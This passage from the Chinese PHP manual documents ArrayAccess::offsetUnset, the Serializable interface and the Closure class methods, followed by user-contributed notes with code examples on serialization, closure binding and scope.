    [1] => second value
)

Note:

This function is not called in assignments by reference and otherwise indirect changes to array dimensions overloaded with ArrayAccess (indirect in the sense they are made not by changing the dimension directly, but by changing a sub-dimension or sub-property or assigning the array dimension by reference to another variable). 而是调用 ArrayAccess::offsetGet()。 只有该方法通过引用返回，操作才会成功。

User Contributed Notes

There are no user contributed notes for this page.


复位一个偏移位置的值

  • ? ArrayAccess::offsetSet
  • Serializable ?
  • PHP Manual
  • ArrayAccess
  • 复位一个偏移位置的值

ArrayAccess::offsetUnset

(PHP 5, PHP 7, PHP 8)

ArrayAccess::offsetUnset — 复位一个偏移位置的值

说明

public ArrayAccess::offsetUnset(mixed $offset): void

复位一个偏移位置的值。

Note:

当使用 (unset) 进行类型转换时，该方法不会被调用。

参数

offset

待复位的偏移位置。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Serializable 接口

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

自定义序列化的接口。

实现此接口的类将不再支持 __sleep() 和
__wakeup() 。
不论何时，只要有实例需要被序列化， serialize 方法都将被调用。它不会调用
__destruct()，除非在该方法中编写了相关功能，否则它也不会有副作用（side effect）。
当数据被反序列化时，类将被感知并且调用合适的 unserialize()
方法而不是调用 __construct()。如果需要执行标准的构造器，应该在这个方法中进行处理。

Warning

从 PHP 8.1.0 起，实现 Serializable 接口的类如果没有同时实现 __serialize()、__unserialize() 方法，将产生弃用警告。

接口摘要

interface Serializable {
/* 方法 */
public serialize(): ?string
public unserialize(string $data): void
}

Example #1 基础用法

<?php
class obj implements Serializable {
private $data;
public function __construct() {
$this->data = "My private data";
}
public function serialize() {
return serialize($this->data);
}
public function unserialize($data) {
$this->data = unserialize($data);
}
public function getData() {
return $this->data;
}
}

$obj = new obj;
$ser = serialize($obj);

var_dump($ser);

$newobj = unserialize($ser);

var_dump($newobj->getData());
?>

以上示例的输出类似于：

string(38) "C:3:"obj":23:{s:15:"My private data";}"
string(15) "My private data"

Table of Contents

  • Serializable::serialize — 对象的字符串表示
  • Serializable::unserialize — 构造对象

User Contributed Notes

info at ensostudio dot ru 26-Sep-2020 10:55
Note: that interface declared as "deprecated" in PHP 7.4, use magic methods __serialize() and __unserialize()  instead .
shaun at slickdesign dot com dot au 11-Jan-2018 07:27
Serialized strings differ between instances that implement Serializable and those that don't.

Instances that don't implement Serializable use the Object notation "O:" when serialized, while those that do use the Class notation "C:". Class notation can only be used to unserialize instances that implement Serializable, while the Object notation can be used to unserialize any object.

Because of this, it is sometimes useful to implement the __wakeup() function when implementing Serializable, for instances where you may have a copy of the serialised class before it implemented Serializable (backwards compatible), or when you're expecting a serialized object from an external source, and they use Object notation for maximum compatibility. You can also use __wakeup() to process your unserialize function, or use it to help prevent people trying to bypass your unserialize.

Below is an example of a simple class hierarchy, where A is a standard class, B implements Serializable, and C uses __wakeup() to assist with unserializing it.

<?php
class A {
    protected $readonly_data = true;
    public $public_data = true;

    public function __construct( $data = true ) {
        $this->public_data = $data;
    }

    public function get_readonly_data() {
        return $this->readonly_data;
    }
}

$a = new A;

var_dump( $a );
//object(A)#1 (2) {
//  ["readonly_data":protected]=>
//  bool(true)
//  ["public_data"]=>
//  bool(true)
//}
var_dump( serialize( $a ) );
//string(63) "O:1:"A":2:{s:16:"*readonly_data";b:1;s:11:"public_data";b:1;}"
?>
Class A outputs the following object, and its serialized string uses the object notation "O:". Please note that there is a null byte "\0" either side of the star*.

Changing the serialised string and unserializing it can cause protected and private values to change.
<?php
var_dump( unserialize( "O:1:\"A\":2:{s:16:\"\0*\0readonly_data\";b:0;s:11:\"public_data\";b:0;}" ) );
//object(A)#1 (2) {
//  ["readonly_data":protected]=>
//  bool(false)
//  ["public_data"]=>
//  bool(false)
//}
?>

Class B extends A, and so has the same constructor and properties. It also implements Serializable.
<?php
class B extends A implements Serializable {
    public function serialize() {
        return serialize( $this->public_data );
    }

    public function unserialize( $data ) {
        $this->public_data = unserialize ( $data );
        do_extra_processing_here();
    }
}

$b = new B;

var_dump( serialize( $b ) );
// C:1:"B":4:{b:1;}
?>
As well as being a lot shorter, the serialized string uses the Class notation "C:", but you can still unserialize it using the older style notation. Doing this however will completely ignore the unserialize() function, potentially update the wrong information, and the function do_extra_processing_here() from the example above is not called.
<?php
var_dump( unserialize( "O:1:\"B\":2:{s:16:\"\0*\0readonly_data\";b:0;s:11:\"public_data\";b:0;}" ) );
//object(B)#1 (2) {
//  ["readonly_data":protected]=>
//  bool(false)
//  ["public_data"]=>
//  bool(false)
//}
?>

Class C extends B, so it's already using the serialize() and unserialize() functions. By implementing the __wakeup() method, we ensure that we are validating the information and performing our do_extra_processing_here() function.
<?php
class C extends B {
    public function __wakeup() {
        $new = new static;
        $this->readonly_data = $new->get_readonly_data();
        do_extra_processing_here();
    }
}

var_dump( unserialize( "O:1:\"C\":2:{s:16:\"\0*\0readonly_data\";b:0;s:11:\"public_data\";b:0;}" ) );
//object(B)#1 (2) {
//  ["readonly_data":protected]=>
//  bool(true)
//  ["public_data"]=>
//  bool(false)
//}
?>
We can use __wakeup() to revert our readonly data back to what it was, or to add additional processing. You can additionally call __wakeup() from within unserialize() if you need to do the same process regardless of which serialized string notation was used.
Wojciech Brozyna 05-Aug-2016 08:56
My solution that let you serialize inherited objects.
Without specify what need to be serialized.
We want to get rid of PDO object in this example.

abstract class DefaultModel() implements \Serializable
{

    /**
    * @var PDO
    */
    private $pdo;

    /**
     * Serialize object
     *
     * @return string
     */
    public function serialize()
    {

        $serializable = get_object_vars($this);

        // unset property name that hold PDO instance
        unset($serializable['pdo']);

        return serialize($serializable);

    }

    /**
     * Unserialize object
     *
     * @param string $serialized Serialized object
     * @return DefaultModel
     */
    public function unserialize($serialized)
    {

        $unserialized = unserialize($serialized);

       // recreate PDO object
        $this->pdo = $this->createDBObject();

        if(is_array($unserialized) === true) {

            foreach($unserialized as $property => $value) {

                $this->{$property} = $value;

            }

        }

    }

}

class RealModel extends DefaultModel
{

    private $myVar;

    public function setMyVar($value)
    {

        $this->myVar = $value;

    }

}

$model = new RealModel();
$model->setMyVar('123456');

$serialized = serialize($model);
$serialized = $model->serialize();   // will also work

print_r($serialized);

$unserialized = unserialize($serialized);

print_r($unserialized);

Hope this help.
grzeniufication 05-Nov-2015 09:19
Here's an example how to un-, serialize more than one property:

class Example implements \Serializable
{
    protected $property1;
    protected $property2;
    protected $property3;

    public function __construct($property1, $property2, $property3)
    {
        $this->property1 = $property1;
        $this->property2 = $property2;
        $this->property3 = $property3;
    }

    public function serialize()
    {
        return serialize([
            $this->property1,
            $this->property2,
            $this->property3,
        ]);
    }

    public function unserialize($data)
    {
        list(
            $this->property1,
            $this->property2,
            $this->property3
        ) = unserialize($data);
    }

}
Olivier Pons 13-May-2014 04:19
Here's the way you could implement serializable so that *ALL* descendant serialize themselves without the need of re-writing for all descendant the functions serialize() and unserialize().

Note : this will only serialize "visible" properties, this it won't serialize private descendant properties. If you dont want a property of a descendant to be serialized, make it private.

class Pot implements Serializable
{
    protected $_a;
    protected $_b;

    public function serialize()
    {
        return serialize(get_object_vars($this));
    }
    public function unserialize($data)
    {
        $values = unserialize($data);
        foreach ($values as $key=>$value) {
            $this->$key = $value;
        }
    }
}

And now one descendant:

class PotId implements Pot
{
    protected $_k;
}

class Pots implements PotId
{
    protected $_l;
}

$pots = new Pots();

and calling serialize($pots) will serialize all properties ($_a, $_b, $_k, $l).
marcos dot gottardi at folha dot REM0VE-THIS dot com dot br 13-Jan-2012 09:05
Serializing child and parent classes:

<?php
class MyClass implements Serializable {
    private $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function getData() {
        return $this->data;
    }

    public function serialize() {
        echo "Serializing MyClass...\n";
        return serialize($this->data);
    }

    public function unserialize($data) {
        echo "Unserializing MyClass...\n";
        $this->data = unserialize($data);
    }
}

class MyChildClass extends MyClass {
    private $id;
    private $name;

    public function __construct($id, $name, $data) {
        parent::__construct($data);
        $this->id = $id;
        $this->name = $name;
    }

    public function serialize() {
        echo "Serializing MyChildClass...\n";
        return serialize(
            array(
                'id' => $this->id,
                'name' => $this->name,
                'parentData' => parent::serialize()
            )
        );
    }

    public function unserialize($data) {
        echo "Unserializing MyChildClass...\n";
        $data = unserialize($data);

        $this->id = $data['id'];
        $this->name = $data['name'];
        parent::unserialize($data['parentData']);
    }

    public function getId() {
        return $this->id;
    }

    public function getName() {
        return $this->name;
    }
}

$obj = new MyChildClass(15, 'My class name', 'My data');

$serial = serialize($obj);
$newObject = unserialize($serial);

echo $newObject->getId() . PHP_EOL;
echo $newObject->getName() . PHP_EOL;
echo $newObject->getData() . PHP_EOL;

?>

This will output:

Serializing MyChildClass...
Serializing MyClass...
Unserializing MyChildClass...
Unserializing MyClass...
15
My class name
My data
Anonymous 12-May-2011 06:09
You can prevent an object getting unserialized by returning NULL. Instead of a serialized object, PHP will return the serialized form of NULL:

<?php
class testNull implements Serializable {
    public function serialize() {
        return NULL;
    }
    public function unserialize($data) {
    }
}

$obj = new testNull;
$string = serialize($obj);
echo $string; // "N;"
?>

That's perhaps better than throwing exceptions inside of the serialize function if you want to prevent serialization of certain objects.


对象的字符串表示

  • ? Serializable
  • Serializable::unserialize ?
  • PHP Manual
  • Serializable
  • 对象的字符串表示

Serializable::serialize

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Serializable::serialize — 对象的字符串表示

说明

public Serializable::serialize(): ?string

返回对象的字符串表示。

参数

此函数没有参数。

返回值

返回对象的字符串表示或者 null 。

错误／异常

如果返回除了字符串或 null 之外的其他类型，将抛出 Exception。

参见

  • __sleep()
  • __serialize()

User Contributed Notes

John 30-Sep-2017 10:52
I don't like the bad docs here, which are wrongly claiming that "serialize(): This method acts as the destructor of the object. The __destruct() method will not be called after this method.".

They are simply meaning that serialize() will NOT call __destruct(). That is the ONLY thing they mean.

Your object that is being serialized will continue to live as a normal object. So you should NOT treat serialize() as your destructor! Treat your object as a still-living copy that the user may be using!

The destructor will always run as normal, later, when your object goes out of scope (or is forcibly unset() by you)).

Example with proof:

<?php

class A implements Serializable
{
    public $data = [];

    public function __destruct()
    {
        echo "Destruct of A called.\n";
    }

    public function serialize()
    {
        printf("- Serialize of %s called.\n", static::class);
        return serialize($this->data);
    }

    public function unserialize($serialized)
    {
        printf("- Unserialize of %s called.\n", static::class);
        $this->data = unserialize($serialized);
    }
}

class B extends A
{
    public function __destruct()
    {
        echo "Destruct of B called.\n";
    }
}

$a = new A();
$a->data['inner_b'] = new B();
var_dump($a);

echo "-----------------\n";
echo "Calling serialize($a):\n";
$str = serialize($a);
echo "-----------------\n";
echo "End of script shutdown from here on:...\n";

?>

Result:

```
object(A)#1 (1) {
  ["data"]=>
  array(1) {
    ["inner_b"]=>
    object(B)#2 (1) {
      ["data"]=>
      array(0) {
      }
    }
  }
}
-----------------
Calling serialize($a):
- Serialize of A called.
- Serialize of B called.
-----------------
End of script shutdown from here on:...
Destruct of A called.
Destruct of B called.
```
crog at gustavus dot edu 07-Nov-2013 05:30
The documentation here is somewhat misleading. Where it says "This method acts as the destructor of the object. The __destruct() method will not be called after this method," I believe the intent is not that the destructor is not run on the object itself, but that the destructor is not called /as part of the serialization process/.

That is, the object will still be destructed as it goes out of scope as normal, but the destructor is not called as a part of the object's serialization.


构造对象

  • ? Serializable::serialize
  • Closure ?
  • PHP Manual
  • Serializable
  • 构造对象

Serializable::unserialize

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Serializable::unserialize — 构造对象

说明

public Serializable::unserialize(string $data): void

在反序列化对象时被调用。

Note:

这个方法担当着对象构造器的角色。在此方法之后，__construct() 将不会被调用。

参数

data

对象的字符串表示

返回值

返回没有序列化之前的原始值。

参见

  • __wakeup()
  • __unserialize()

User Contributed Notes

There are no user contributed notes for this page.


Closure 类

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

简介

用于代表 匿名函数 的类.

匿名函数会产生这种类型的对象。这个类带有一些方法允许在匿名函数创建后对其进行更多的控制。

除了此处列出的方法，还有一个 __invoke 方法。这是为了与其他实现了 __invoke()魔术方法 的对象保持一致性，但调用匿名函数的过程与它无关。

类摘要

final class Closure {
/* 方法 */
private __construct()
public static bind(Closure $closure, ?object $newThis, object|string|null $newScope = "static"): ?Closure
public bindTo(?object $newThis, object|string|null $newScope = "static"): ?Closure
public call(object $newThis, mixed ...$args): mixed
public static fromCallable(callable $callback): Closure
}

Table of Contents

  • Closure::__construct — 用于禁止实例化的构造函数
  • Closure::bind — 用特定的绑定对象和类作用域复制闭包。
  • Closure::bindTo — 用特定的绑定对象和类作用域复制闭包。
  • Closure::call — 绑定并调用闭包
  • Closure::fromCallable — 将 callable 转换为闭包

User Contributed Notes

info at ensostudio dot ru 21-Mar-2022 05:41
compare closures:
<?php
(string) new ReflectionFunction($fn) === (string) new ReflectionFunction($fn2)
?>
joe dot scylla at gmail dot com 08-Apr-2016 08:46
Small little trick. You can use a closures in itself via reference.

Example to delete a directory with all subdirectories and files:

<?php
$deleteDirectory = null;
$deleteDirectory = function($path) use (&$deleteDirectory) {
    $resource = opendir($path);
    while (($item = readdir($resource)) !== false) {
        if ($item !== "." && $item !== "..") {
            if (is_dir($path . "/" . $item)) {
                $deleteDirectory($path . "/" . $item);
            } else {
                unlink($path . "/" . $item);
            }
        }
    }
    closedir($resource);
    rmdir($path);
};
$deleteDirectory("path/to/directoy");
?>
luk4z_7 at hotmail dot com 14-Jun-2015 05:42
Scope
A closure encapsulates its scope, meaning that it has no access to the scope in which it is defined or executed. It is, however, possible to inherit variables from the parent scope (where the closure is defined) into the closure with the use keyword:

function createGreeter($who) {
              return function() use ($who) {
                  echo "Hello $who";
              };
}

$greeter = createGreeter("World");
$greeter(); // Hello World

This inherits the variables by-value, that is, a copy is made available inside the closure using its original name.
font: Zend Certification Study Guide.
chuck at bajax dot us 09-Jun-2015 04:16
This caused me some confusion a while back when I was still learning what closures were and how to use them, but what is referred to as a closure in PHP isn't the same thing as what they call closures in other languages (E.G. JavaScript).

In JavaScript, a closure can be thought of as a scope, when you define a function, it silently inherits the scope it's defined in, which is called its closure, and it retains that no matter where it's used.  It's possible for multiple functions to share the same closure, and they can have access to multiple closures as long as they are within their accessible scope.

In PHP,  a closure is a callable class, to which you've bound your parameters manually.

It's a slight distinction but one I feel bears mentioning.


用于禁止实例化的构造函数

  • ? Closure
  • Closure::bind ?
  • PHP Manual
  • Closure
  • 用于禁止实例化的构造函数

Closure::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Closure::__construct — 用于禁止实例化的构造函数

说明

private Closure::__construct()

这个方法仅用于禁止实例化一个 Closure 类的对象。这个类的对象的创建方法写在 匿名函数 页。

参数

此函数没有参数。

参见

  • 匿名函数

User Contributed Notes

There are no user contributed notes for this page.


用特定的绑定对象和类作用域复制闭包。

  • ? Closure::__construct
  • Closure::bindTo ?
  • PHP Manual
  • Closure
  • 用特定的绑定对象和类作用域复制闭包。

Closure::bind

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

Closure::bind — 用特定的绑定对象和类作用域复制闭包。

说明

public static Closure::bind(Closure $closure, ?object $newThis, object|string|null $newScope = "static"): ?Closure

这个方法是 Closure::bindTo() 的静态版本。查看它的文档获取更多信息。

参数

closure

需要绑定的匿名函数。

newThis

需要绑定到匿名函数的对象，或者 null 创建未绑定的闭包。

newScope

想要绑定给闭包的类作用域，或者 'static' 表示不改变。如果传入一个对象，则使用这个对象的类型名。 类作用域用来决定在闭包中 $this 对象的 私有、保护方法 的可见性。 不允许内置类（的对象）作为参数传递。

返回值

返回一个新的 Closure 对象，失败时返回 null。

示例

Example #1 Closure::bind() 示例

<?php
class A {
private static $sfoo = 1;
private $ifoo = 2;
}
$cl1 = static function() {
return A::$sfoo;
};
$cl2 = function() {
return $this->ifoo;
};

$bcl1 = Closure::bind($cl1, null, 'A');
$bcl2 = Closure::bind($cl2, new A(), 'A');
echo $bcl1(), "\n";
echo $bcl2(), "\n";
?>

以上示例的输出类似于：

1
2

参见

  • 匿名函数
  • Closure::bindTo() - 用特定的绑定对象和类作用域复制闭包。

User Contributed Notes

potherca at hotmail dot com 03-Dec-2014 08:22
If you need to validate whether or not a closure can be bound to a PHP object, you will have to resort to using reflection.

<?php

/**
 * @param \Closure $callable
 *
 * @return bool
 */
function isBindable(\Closure $callable)
{
    $bindable = false;

    $reflectionFunction = new \ReflectionFunction($callable);
    if (
        $reflectionFunction->getClosureScopeClass() === null
        || $reflectionFunction->getClosureThis() !== null
    ) {
        $bindable = true;
    }

    return $bindable;
}
?>
Vincius Krolow 14-Dec-2012 12:08
With this class and method, it's possible to do nice things, like add methods on the fly to an object.

MetaTrait.php
<?php
trait MetaTrait
{

    private $methods = array();

    public function addMethod($methodName, $methodCallable)
    {
        if (!is_callable($methodCallable)) {
            throw new InvalidArgumentException('Second param must be callable');
        }
        $this->methods[$methodName] = Closure::bind($methodCallable, $this, get_class());
    }

    public function __call($methodName, array $args)
    {
        if (isset($this->methods[$methodName])) {
            return call_user_func_array($this->methods[$methodName], $args);
        }

        throw RunTimeException('There is no method with the given name to call');
    }

}
?>

test.php
<?php
require 'MetaTrait.php';

class HackThursday {
    use MetaTrait;

    private $dayOfWeek = 'Thursday';

}

$test = new HackThursday();
$test->addMethod('when', function () {
    return $this->dayOfWeek;
});

echo $test->when();

?>


用特定的绑定对象和类作用域复制闭包。

  • ? Closure::bind
  • Closure::call ?
  • PHP Manual
  • Closure
  • 用特定的绑定对象和类作用域复制闭包。

Closure::bindTo

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

Closure::bindTo — 用特定的绑定对象和类作用域复制闭包。

说明

public Closure::bindTo(?object $newThis, object|string|null $newScope = "static"): ?Closure

创建并返回一个 匿名函数， 它与当前对象的函数体相同、绑定了同样变量，但可以绑定不同的对象，也可以绑定新的类作用域。

"绑定的对象"决定了函数体中的 $this 的取值，"类作用域"代表一个类型、决定在这个匿名函数中能够调用哪些 private 和 protected 的方法。 也就是说，此时 $this 可以调用的方法，与 newScope 类的成员函数是相同的。

静态闭包不能有绑定的对象（ newThis 参数的值应该设为 null）不过仍然可以用 bindTo 方法来改变它们的类作用域。

此函数确保对于非静态闭包，拥有绑定实例也意味着被限定作用域，反之亦然。 为此，非静态闭包给定一个 null 实例的作用域可以使其变为静态， 非静态无作用域的闭包给定一个非 null 的实例作用在一个非指定类。

Note:

如果你只是想要复制一个匿名函数，可以用 cloning 代替。

参数

newThis

绑定给匿名函数的一个对象，或者 null 来取消绑定。

newScope

关联到匿名函数的类作用域，或者 'static' 保持当前状态。如果是一个对象，则使用这个对象的类型为新的类作用域。 这会决定绑定的对象的 保护、私有成员 方法的可见性。 不允许内部类（的对象）作为参数传递。

返回值

返回新创建的 Closure 对象， 或者失败时返回 null 。

示例

Example #1 Closure::bindTo() 实例

<?php

class A {
private $val;
function __construct($val) {
$this->val = $val;
}
function getClosure() {
// 返回绑定到此对象和作用域的闭包
return function() { return $this->val; };
}
}

$ob1 = new A(1);
$ob2 = new A(2);

$cl = $ob1->getClosure();
echo $cl(), "\n";
$cl = $cl->bindTo($ob2);
echo $cl(), "\n";
?>

以上示例的输出类似于：

1
2

参见

  • 匿名函数
  • Closure::bind() - 用特定的绑定对象和类作用域复制闭包。

User Contributed Notes

malferov at gmail dot com 20-Nov-2023 07:09
If you, like me, did not immediately understand what exactly "(an object of) an internal class" in the documentation about the 'newScope' parameter:

The documentation is about the object of the Closure itself:

<?php

class A {}

$a = new A();

$closure = fn() => null;

$binded = $closure->bindTo($a, $closure,); // Warning: Cannot bind closure to scope of internal class Closure
Olexandr Kalaidzhy 12-Feb-2022 11:56
Get all object vars without using Reflection:

<?php

declare(strict_types=1);

class A
{
    private $foo = 'foo';
    protected $bar = 'bar';
    public $buz = 'buz';
}

function get_object_vars_all($object): array
{
    if (!\is_object($object)) {
        throw new \InvalidArgumentException(sprintf('The argument should be an object, "%s" given.', get_debug_type($object)));
    }

    $closure = function () {
        return get_object_vars($this);
    };

    return $closure->bindTo($object, $object)();
}

$a = new A();

var_dump(get_object_vars($a));
var_dump(get_object_vars_all($a));

?>

The output:

array(1) {
  ["buz"]=>
  string(3) "buz"
}
array(3) {
  ["foo"]=>
  string(3) "foo"
  ["bar"]=>
  string(3) "bar"
  ["buz"]=>
  string(3) "buz"
}
Anonymous 19-Apr-2018 03:31
If you want to unbind completely the closure and the scope you need to set both to null:

<?php
class MyClass
{
    public $foo = 'a';
    protected $bar = 'b';
    private $baz = 'c';

    /**
     * @return array
     */
    public function toArray()
    {
        // Only public variables
        return (function ($obj) {
            return get_object_vars($obj);
        })->bindTo(null, null)($this);
    }
}
?>

In this example, only the public variables of the class are exported (foo).

If you use the default scope (->bindTo(null)) also protected and private variables are exported (foo, bar and baz).

It was hard to figure it out because there is nowhere mentioned in the documentation that you can use null as a scope.
luc at s dot illi dot be 31-May-2016 04:44
Access private members of parent classes; playing with the scopes:
<?PHP
class Grandparents{ private $__status1 = 'married'; }
class Parents extends Grandparents{ private $__status2 = 'divorced'; }
class Me extends Parents{ private $__status3 = 'single'; }

$status1_3 = function()
{
    $this->__status1 = 'happy';
    $this->__status2 = 'happy';
    $this->__status3 = 'happy';
};

$status1_2 = function()
{
    $this->__status1 = 'happy';
    $this->__status2 = 'happy';
};

// test 1:
$c = $status1_3->bindTo($R = new Me, Parents::class);
#$c();    // Fatal: Cannot access private property Me::$__status3

// test 2:
$d = $status1_2->bindTo($R = new Me, Parents::class);
$d();
var_dump($R);
/*
object(Me)#5 (4) {
  ["__status3":"Me":private]=>
  string(6) "single"
  ["__status2":"Parents":private]=>
  string(5) "happy"
  ["__status1":"Grandparents":private]=>
  string(7) "married"
  ["__status1"]=>
  string(5) "happy"
}
*/

// test 3:
$e = $status1_3->bindTo($R = new Me, Grandparents::class);
#$e(); // Fatal: Cannot access private property Me::$__status3

// test 4:
$f = $status1_2->bindTo($R = new Me, Grandparents::class);
$f();
var_dump($R);
/*
object(Me)#9 (4) {
  ["__status3":"Me":private]=>
  string(6) "single"
  ["__status2":"Parents":private]=>
  string(8) "divorced"
  ["__status1":"Grandparents":private]=>
  string(5) "happy"
  ["__status2"]=>
  string(5) "happy"
}
*/
?>

Clear the stack trace:
<?PHP
use Exception;
use ReflectionException;

$c = function()
{
    $this->trace = [];
};

$c = $c->bindTo($R = new ReflectionException, Exception::class);
$c();

try
{
    throw $R;
}
catch(ReflectionException $R)
{
    var_dump($R->getTrace());
}
/*
array(0) {
}
*/
?>
Nezar Fadle 19-Jan-2015 10:40
We can use the concept of bindTo to write a very small Template Engine:

#############
index.php
############

<?php

class Article{
    private $title = "This is an article";
}

class Post{
    private $title = "This is a post";
}

class Template{

    function render($context, $tpl){

        $closure = function($tpl){
            ob_start();
            include $tpl;
            return ob_end_flush();
        };

        $closure = $closure->bindTo($context, $context);
        $closure($tpl);

    }

}

$art = new Article();
$post = new Post();
$template = new Template();

$template->render($art, 'tpl.php');
$template->render($post, 'tpl.php');
?>

#############
tpl.php
############
<h1><?php echo $this->title;?></h1>
tatarynowicz at gmail dot com 14-Feb-2013 09:30
You can do pretty Javascript-like things with objects using closure binding:

<?php
trait DynamicDefinition {

    public function __call($name, $args) {
        if (is_callable($this->$name)) {
            return call_user_func($this->$name, $args);
        }
        else {
            throw new \RuntimeException("Method {$name} does not exist");
        }
    }

    public function __set($name, $value) {
        $this->$name = is_callable($value)?
            $value->bindTo($this, $this):
            $value;
    }
}

class Foo {
    use DynamicDefinition;
    private $privateValue = 'I am private';
}

$foo = new Foo;
$foo->bar = function() {
    return $this->privateValue;
};

// prints 'I am private'
print $foo->bar();

?>
safakozpinar at gmail dot com 09-Mar-2012 01:35
Private/protected members are accessible if you set the "newscope" argument (as the manual says).

<?php
$fn = function(){
    return ++$this->foo; // increase the value
};

class Bar{
    private $foo = 1; // initial value
}

$bar = new Bar();

$fn1 = $fn->bindTo($bar, 'Bar'); // specify class name
$fn2 = $fn->bindTo($bar,  $bar); // or object

echo $fn1(); // 2
echo $fn2(); // 3
anthony bishopric 03-Mar-2012 01:00
Closures can rebind their $this variable, but private/protected methods and functions of $this are not accessible to the closures.

<?php
$fn = function(){
    return $this->foo;
};

class Bar{
    private $foo = 3;
}

$bar = new Bar();

$fn = $fn->bindTo($bar);

echo $fn(); // Fatal error: Cannot access private property Bar::$foo
amica at php-resource dot de 18-Dec-2011 04:23
With rebindable $this at hand it's possible to do evil stuff:

<?php
    class A {
        private $a = 12;
        private function getA () {
            return $this->a;
        }
    }
    class B {
        private $b = 34;
        private function getB () {
            return $this->b;
        }
    }
    $a = new A();
    $b = new B();
    $c = function () {
        if (property_exists($this, "a") && method_exists($this, "getA")) {
            $this->a++;
            return $this->getA();
        }
        if (property_exists($this, "b") && method_exists($this, "getB")) {
            $this->b++;
            return $this->getB();
        }
    };
    $ca = $c->bindTo($a, $a);
    $cb = $c->bindTo($b, $b);
    echo $ca(), "\n"; // => 13
    echo $cb(), "\n"; // => 35
?>


绑定并调用闭包

  • ? Closure::bindTo
  • Closure::fromCallable ?
  • PHP Manual
  • Closure
  • 绑定并调用闭包

Closure::call

(PHP 7, PHP 8)

Closure::call — 绑定并调用闭包

说明

public Closure::call(object $newThis, mixed ...$args): mixed

暂时将闭包绑定到 newThis，并使用任意给定的参数调用它。

参数

newThis

在调用期间将闭包绑定到 object。

args

零个或多个参数，他们将作为参数传递给闭包。

返回值

返回闭包的返回值。

示例

Example #1 Closure::call() 示例

<?php
class Value {
protected $value;
public function __construct($value) {
$this->value = $value;
}
public function getValue() {
return $this->value;
}
}
$three = new Value(3);
$four = new Value(4);
$closure = function ($delta) { var_dump($this->getValue() + $delta); };
$closure->call($three, 4);
$closure->call($four, 4);
?>

以上示例会输出：

int(7)
int(8)

User Contributed Notes

php-net at gander dot pl 19-Aug-2021 10:23
You can also access private data:

<?php
class Value {
    private $value;

    public function __construct($value) {
        $this->value = $value;
    }
}

$foo = new Value('Foo');
$bar = new Value('Bar');

$closure = function () { var_dump($this->value); };
$closure->call($foo);
$closure->call($bar);
?>

Output:
string(3) "Foo"
string(3) "Bar"
sergey dot nevmerzhitsky at gmail dot com 16-Sep-2016 10:12
Prior PHP 7.0 you can use this code:

<?php
$cl = function($add) { return $this->a + $add; };

$cl->bindTo($newthis);
return call_user_func_array($cl, [10]);
?>

But this bind the closure permanently! Also read the article for Closure::bindTo() about binding closures from static context.


将 callable 转换为闭包

  • ? Closure::call
  • stdClass ?
  • PHP Manual
  • Closure
  • 将 callable 转换为闭包

Closure::fromCallable

(PHP 7 >= 7.1.0)

Closure::fromCallable — 将 callable 转换为闭包

说明

public static Closure::fromCallable(callable $callback): Closure

使用当前范围从给定的 callback 创建并返回一个新的 匿名函数。 此方法检查 callback 函数在作用域是否可调用， 如果不能，就抛出 TypeError。

Note:

从 PHP 8.1.0 开始，First-class 可调用语法 的语义与此方法相同。

参数

callback

要转换的回调。

返回值

返回新创建的 Closure， 或者如果 callback 在当前作用域无法调用， 则抛出 TypeError。

参见

  • 匿名函数
  • First-class 可调用语法

User Contributed Notes

nakerlund at gmail dot com 23-May-2018 07:20
I have two points:

It is possible to use Closure::fromCallable to convert private/protected methods to closures and use them outside the class.

Closure::fromCallable accepts late dynamic bindings using the keyword static if provided as a string.

My code below demonstrate how a private static method can be used as a callback in a function outside the class.

<?php
function myCustomMapper ( Callable $callable, string $str ): string {
  return join(' ', array_map( $callable, explode(' ', $str) ) );
}

class MyClass {

    public static function mapUCFirst ( string $str ): string {
        $privateMethod = 'static::mapper';
        $mapper = Closure::fromCallable( $privateMethod );
        return myCustomMapper( $mapper, $str );
    }
    private static function mapper ( string $str ): string {
        return ucfirst( $str );
    }

}

echo MyClass::mapUCFirst('four little uncapitalized words');
// Prints: Four Little Uncapitalized Words
?>
4-lom at live dot de 09-May-2018 01:16
Sadly, your comparison is incorrect.

// The equivalent to
$cl1 = Closure::fromCallable("getName");
$cl1 = $cl1->bindTo($bob, 'A');

// is most likely this
$cl2 = function() {
    return call_user_func_array("getName", func_get_args());
};
$cl2 = $cl2->bindTo($bob, 'A');

Executing one or the other Closure should result in the same access violation error you already postet.

----
A simple PHP 7.0 polyfill could look like this:
----

namespace YourPackage;

/**
 * Class Closure
 *
 * @see \Closure
 */
class Closure
{
    /**
     * @see \Closure::fromCallable()
     * @param callable $callable
     * @return \Closure
     */
    public static function fromCallable(callable $callable)
    {
        // In case we've got it native, let's use that native one!
        if(method_exists(\Closure::class, 'fromCallable')) {
            return \Closure::fromCallable($callable);
        }

        return function () use ($callable) {
            return call_user_func_array($callable, func_get_args());
        };
    }
}
igorchernin at yahoo dot com 07-May-2017 08:13
It seems that the result of the "fromCallable" behaves a little bit different then an original Lambda function.

class A {
    private $name;
    public function __construct($name)
    {
        $this->name = $name;
    }
}

// test callable
function getName()
{
      return $this->name;
}
$bob = new A("Bob");

$cl1 = Closure::fromCallable("getName");
$cl1 = $cl1->bindTo($bob, 'A');

//This will retrieve: Uncaught Error: Cannot access private property A::$name
$result = $cl1();
echo $result;

//But for a Lambda function
$cl2 = function() {
    return $this->name;
};
$cl2 = $cl2->bindTo($bob, 'A');
$result = $cl2();

// This will print Bob
echo $result;


stdClass 类

(PHP 4, PHP 5, PHP 7, PHP 8)

简介

具有动态属性的通用空类。

此类的对象可以使用 new 运算符实例化，也可以通过类型转换为对象创建。几个 PHP 函数也会创建此类的实例，比如 json_decode()、mysqli_fetch_object() 或 PDOStatement::fetchObject()。

尽管没有实现 __get()/__set() 魔术方法，但此类允许动态属性且不需要 #[\AllowDynamicProperties] 属性。

这不是 PHP 的基类，因为 PHP 没有通用基类的概念。然而，可以创建继承 stdClass 的自定义类，从而继承动态属性的功能。

类摘要

class stdClass {
}

此类没有方法和默认属性。

示例

Example #1 通过类型转换为对象创建

<?php
